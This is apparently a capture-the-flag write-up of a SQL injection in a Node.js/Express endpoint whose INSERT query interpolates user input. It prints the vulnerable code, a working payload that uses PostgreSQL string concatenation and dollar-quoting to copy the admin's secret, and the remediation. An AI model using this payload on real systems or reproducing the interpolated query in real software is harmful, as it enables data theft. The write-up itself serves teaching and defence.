Vulnerability Overview
A Node.js/Express application used parameterized queries throughout except in one endpoint — the secret creation handler directly interpolated user input into the SQL string. This allowed injection into an INSERT statement, using PostgreSQL's string concatenation operator to embed a subquery that extracted the admin's secret.
Vulnerable Code
// POST /secrets/create — VULNERABLE
app.post('/secrets/create', authMiddleware, async (req, res) => {
const query = await db.raw(
`INSERT INTO secrets(owner_id, content) VALUES ('${userId}', '${content}')`
);
});The content field is raw user input concatenated directly into the SQL string. userId comes from a valid session and is trusted — but content is attacker-controlled.
Exploitation
The goal was to make the INSERT store the admin's secret as our own content. PostgreSQL's || operator concatenates strings and can embed subqueries. Dollar-quoting ($$...$$) avoids single-quote conflicts within the nested query:
' || (SELECT content FROM secrets WHERE owner_id = (SELECT id FROM users WHERE username = $$admin$$)) || 'The resulting query became:
INSERT INTO secrets(owner_id, content)
VALUES ('our_id', '' || (SELECT content FROM secrets
WHERE owner_id = (SELECT id FROM users WHERE username = $$admin$$)) || '')After submission, the admin's flag appeared in our secrets list on the homepage.
Root Cause
A single inconsistency in an otherwise well-parameterized codebase — one db.raw() call with string interpolation — was sufficient to compromise the entire secrets table. SQL injection requires only one vulnerable query anywhere in the application.
| Control | Implementation |
|---|---|
| Parameterized queries | Replace db.raw(\`... '${content}'\`) with db.raw("... VALUES (?, ?)", [userId, content]) |
| ORM binding | Use Knex's .insert({owner_id: userId, content: content}) — parameterized by default |
| Least privilege | The application DB user should have no SELECT access to other users' secrets |